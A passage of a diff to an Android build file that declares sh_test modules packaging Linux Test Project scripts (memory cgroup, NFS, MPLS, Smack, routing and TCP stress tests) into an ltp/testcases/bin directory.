+    src: "testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_failcnt.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_force_empty.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_force_empty.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_lib.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_limit_in_bytes.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_limit_in_bytes.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_max_usage_in_bytes_test.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_max_usage_in_bytes_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_memsw_limit_in_bytes_test.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_memsw_limit_in_bytes_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_move_charge_at_immigrate_test.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_move_charge_at_immigrate_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_regression_test.sh",
+    src: "testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_regression_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_stat_rss.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_stat_rss.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_stat_test.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_stat_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_stress_test.sh",
+    src: "testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_stress_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_subgroup_charge.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_subgroup_charge.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_test_4.sh",
+    src: "testcases/kernel/controllers/memcg/regression/memcg_test_4.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_test_4.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_usage_in_bytes_test.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_usage_in_bytes_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_use_hierarchy_test.sh",
+    src: "testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_use_hierarchy_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mkdir_tests.sh",
+    src: "testcases/commands/mkdir/mkdir_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mkdir_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_modaltr.sh",
+    src: "testcases/kernel/fs/fs-bench/modaltr.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "modaltr.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mpls01.sh",
+    src: "testcases/network/mpls/mpls01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mpls01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mpls02.sh",
+    src: "testcases/network/mpls/mpls02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mpls02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mpls03.sh",
+    src: "testcases/network/mpls/mpls03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mpls03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mpls04.sh",
+    src: "testcases/network/mpls/mpls04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mpls04.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mpls_lib.sh",
+    src: "testcases/network/mpls/mpls_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mpls_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_myfunctions-io.sh",
+    src: "testcases/kernel/controllers/io-throttle/myfunctions-io.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "myfunctions-io.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_myfunctions.sh",
+    src: "testcases/kernel/controllers/memctl/myfunctions.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "myfunctions.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_net_cmdlib.sh",
+    src: "testcases/lib/net_cmdlib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "net_cmdlib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_netstat01",
+    src: "testcases/network/tcp_cmds/netstat/netstat01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "netstat01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs01",
+    src: "testcases/network/nfs/nfs_stress/nfs01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs02",
+    src: "testcases/network/nfs/nfs_stress/nfs02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs03",
+    src: "testcases/network/nfs/nfs_stress/nfs03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs04",
+    src: "testcases/network/nfs/nfs_stress/nfs04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs05",
+    src: "testcases/network/nfs/nfs_stress/nfs05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs06",
+    src: "testcases/network/nfs/nfs_stress/nfs06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfs_lib.sh",
+    src: "testcases/network/nfs/nfs_stress/nfs_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfs_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfslock01",
+    src: "testcases/network/nfs/nfslock01/nfslock01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfslock01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_nfsstat01",
+    src: "testcases/network/nfs/nfsstat01/nfsstat01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "nfsstat01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ns-echoclient",
+    src: "testcases/network/stress/ns-tools/ns-echoclient",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ns-echoclient",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_numa01.sh",
+    src: "testcases/kernel/numa/numa01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "numa01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_output_ipsec_conf",
+    src: "testcases/network/stress/ns-tools/output_ipsec_conf",
+    sub_dir: "ltp/testcases/bin",
+    filename: "output_ipsec_conf",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_parameters.sh",
+    src: "testcases/kernel/controllers/cpuctl/parameters.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "parameters.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_pids.sh",
+    src: "testcases/kernel/controllers/pids/pids.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "pids.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ping01.sh",
+    src: "testcases/network/tcp_cmds/ping/ping01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ping01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ping02.sh",
+    src: "testcases/network/tcp_cmds/ping/ping02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ping02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_pm_cpu_consolidation.py",
+    src: "testcases/kernel/power_management/pm_cpu_consolidation.py",
+    sub_dir: "ltp/testcases/bin",
+    filename: "pm_cpu_consolidation.py",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_pm_ilb_test.py",
+    src: "testcases/kernel/power_management/pm_ilb_test.py",
+    sub_dir: "ltp/testcases/bin",
+    filename: "pm_ilb_test.py",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_pm_include.sh",
+    src: "testcases/kernel/power_management/pm_include.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "pm_include.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_pm_sched_domain.py",
+    src: "testcases/kernel/power_management/pm_sched_domain.py",
+    sub_dir: "ltp/testcases/bin",
+    filename: "pm_sched_domain.py",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_pm_sched_mc.py",
+    src: "testcases/kernel/power_management/lib/pm_sched_mc.py",
+    sub_dir: "ltp/testcases/bin",
+    filename: "pm_sched_mc.py",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_quota_remount_test01.sh",
+    src: "testcases/kernel/fs/quota_remount/quota_remount_test01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "quota_remount_test01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_rcp01",
+    src: "testcases/network/tcp_cmds/rcp/rcp01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "rcp01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_rcu_torture.sh",
+    src: "testcases/kernel/device-drivers/rcu/rcu_torture.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "rcu_torture.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_remove_password.sh",
+    src: "testcases/kernel/security/mmc_security/remove_password.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "remove_password.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_rlogin01",
+    src: "testcases/network/tcp_cmds/rlogin/rlogin01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "rlogin01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route4-change-dst",
+    src: "testcases/network/stress/route/route4-change-dst",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route4-change-dst",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route4-change-gw",
+    src: "testcases/network/stress/route/route4-change-gw",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route4-change-gw",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route4-change-if",
+    src: "testcases/network/stress/route/route4-change-if",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route4-change-if",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route4-redirect",
+    src: "testcases/network/stress/route/route4-redirect",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route4-redirect",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route4-rmmod",
+    src: "testcases/network/stress/route/route4-rmmod",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route4-rmmod",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route6-change-dst",
+    src: "testcases/network/stress/route/route6-change-dst",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route6-change-dst",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route6-change-gw",
+    src: "testcases/network/stress/route/route6-change-gw",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route6-change-gw",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route6-change-if",
+    src: "testcases/network/stress/route/route6-change-if",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route6-change-if",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route6-redirect",
+    src: "testcases/network/stress/route/route6-redirect",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route6-redirect",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_route6-rmmod",
+    src: "testcases/network/stress/route/route6-rmmod",
+    sub_dir: "ltp/testcases/bin",
+    filename: "route6-rmmod",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_rsh01",
+    src: "testcases/network/tcp_cmds/rsh/rsh01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "rsh01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_capbounds.sh",
+    src: "testcases/kernel/security/cap_bound/run_capbounds.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_capbounds.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_cpuctl_latency_test.sh",
+    src: "testcases/kernel/controllers/cpuctl/run_cpuctl_latency_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_cpuctl_latency_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_cpuctl_stress_test.sh",
+    src: "testcases/kernel/controllers/cpuctl/run_cpuctl_stress_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_cpuctl_stress_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_cpuctl_test.sh",
+    src: "testcases/kernel/controllers/cpuctl/run_cpuctl_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_cpuctl_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_cpuctl_test_fj.sh",
+    src: "testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_cpuctl_test_fj.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_freezer.sh",
+    src: "testcases/kernel/controllers/freezer/run_freezer.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_freezer.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_io_throttle_test.sh",
+    src: "testcases/kernel/controllers/io-throttle/run_io_throttle_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_io_throttle_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_memctl_test.sh",
+    src: "testcases/kernel/controllers/memctl/run_memctl_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_memctl_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_pec_test",
+    src: "testcases/kernel/connectors/pec/run_pec_test",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_pec_test",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_run_sched_cliserv.sh",
+    src: "testcases/kernel/sched/clisrv/run_sched_cliserv.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "run_sched_cliserv.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests01.sh",
+    src: "testcases/kernel/power_management/runpwtests01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests02.sh",
+    src: "testcases/kernel/power_management/runpwtests02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests03.sh",
+    src: "testcases/kernel/power_management/runpwtests03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests04.sh",
+    src: "testcases/kernel/power_management/runpwtests04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests04.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests05.sh",
+    src: "testcases/kernel/power_management/runpwtests05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests05.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests06.sh",
+    src: "testcases/kernel/power_management/runpwtests06.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests06.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests_exclusive01.sh",
+    src: "testcases/kernel/power_management/runpwtests_exclusive01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests_exclusive01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests_exclusive02.sh",
+    src: "testcases/kernel/power_management/runpwtests_exclusive02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests_exclusive02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests_exclusive03.sh",
+    src: "testcases/kernel/power_management/runpwtests_exclusive03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests_exclusive03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests_exclusive04.sh",
+    src: "testcases/kernel/power_management/runpwtests_exclusive04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests_exclusive04.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_runpwtests_exclusive05.sh",
+    src: "testcases/kernel/power_management/runpwtests_exclusive05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "runpwtests_exclusive05.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_rwtest",
+    src: "testcases/kernel/fs/doio/rwtest",
+    sub_dir: "ltp/testcases/bin",
+    filename: "rwtest",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_sched_stress.sh",
+    src: "testcases/kernel/sched/sched_stress/sched_stress.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "sched_stress.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_sctp01.sh",
+    src: "testcases/network/sctp/sctp01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "sctp01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_sctp_ipsec.sh",
+    src: "testcases/network/stress/sctp/sctp_ipsec.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "sctp_ipsec.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_sctp_ipsec_vti.sh",
+    src: "testcases/network/stress/sctp/sctp_ipsec_vti.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "sctp_ipsec_vti.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_sendfile01",
+    src: "testcases/network/tcp_cmds/sendfile/sendfile01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "sendfile01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_set_ipv4addr",
+    src: "testcases/network/stress/ns-tools/set_ipv4addr",
+    sub_dir: "ltp/testcases/bin",
+    filename: "set_ipv4addr",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_sit01.sh",
+    src: "testcases/network/virt/sit01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "sit01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_common.sh",
+    src: "testcases/kernel/security/smack/smack_common.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_common.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_file_access.sh",
+    src: "testcases/kernel/security/smack/smack_file_access.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_file_access.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_ambient.sh",
+    src: "testcases/kernel/security/smack/smack_set_ambient.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_ambient.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_cipso.sh",
+    src: "testcases/kernel/security/smack/smack_set_cipso.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_cipso.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_current.sh",
+    src: "testcases/kernel/security/smack/smack_set_current.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_current.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_direct.sh",
+    src: "testcases/kernel/security/smack/smack_set_direct.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_direct.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_doi.sh",
+    src: "testcases/kernel/security/smack/smack_set_doi.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_doi.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_load.sh",
+    src: "testcases/kernel/security/smack/smack_set_load.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_load.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_netlabel.sh",
+    src: "testcases/kernel/security/smack/smack_set_netlabel.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_netlabel.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smack_set_onlycap.sh",
+    src: "testcases/kernel/security/smack/smack_set_onlycap.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smack_set_onlycap.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smt_smp_affinity.sh",
+    src: "testcases/kernel/sched/hyperthreading/ht_affinity/smt_smp_affinity.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smt_smp_affinity.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_smt_smp_enabled.sh",
+    src: "testcases/kernel/sched/hyperthreading/ht_enabled/smt_smp_enabled.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "smt_smp_enabled.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ssh-stress",
+    src: "testcases/network/stress/ssh/ssh-stress",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ssh-stress",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ssh-stress01-rmt",
+    src: "testcases/network/stress/ssh/ssh-stress01-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ssh-stress01-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ssh-stress02-rmt",
+    src: "testcases/network/stress/ssh/ssh-stress02-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ssh-stress02-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ssh-stress03-rmt",
+    src: "testcases/network/stress/ssh/ssh-stress03-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ssh-stress03-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_stop_freeze_sleep_thaw_cont.sh",
+    src: "testcases/kernel/controllers/freezer/stop_freeze_sleep_thaw_cont.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "stop_freeze_sleep_thaw_cont.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_stop_freeze_thaw_cont.sh",
+    src: "testcases/kernel/controllers/freezer/stop_freeze_thaw_cont.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "stop_freeze_thaw_cont.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_stress_floppy",
+    src: "testcases/kernel/io/stress_floppy/stress_floppy",
+    sub_dir: "ltp/testcases/bin",
+    filename: "stress_floppy",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_sysctl01.sh",
+    src: "testcases/commands/sysctl/sysctl01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "sysctl01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip01",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip02",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip03",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip04",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip05",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip06",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip07",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip08",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip09",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-multi-diffip10",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-multi-diffip10",
+    compile_multilib: "both",
+}
+
+sh_test {
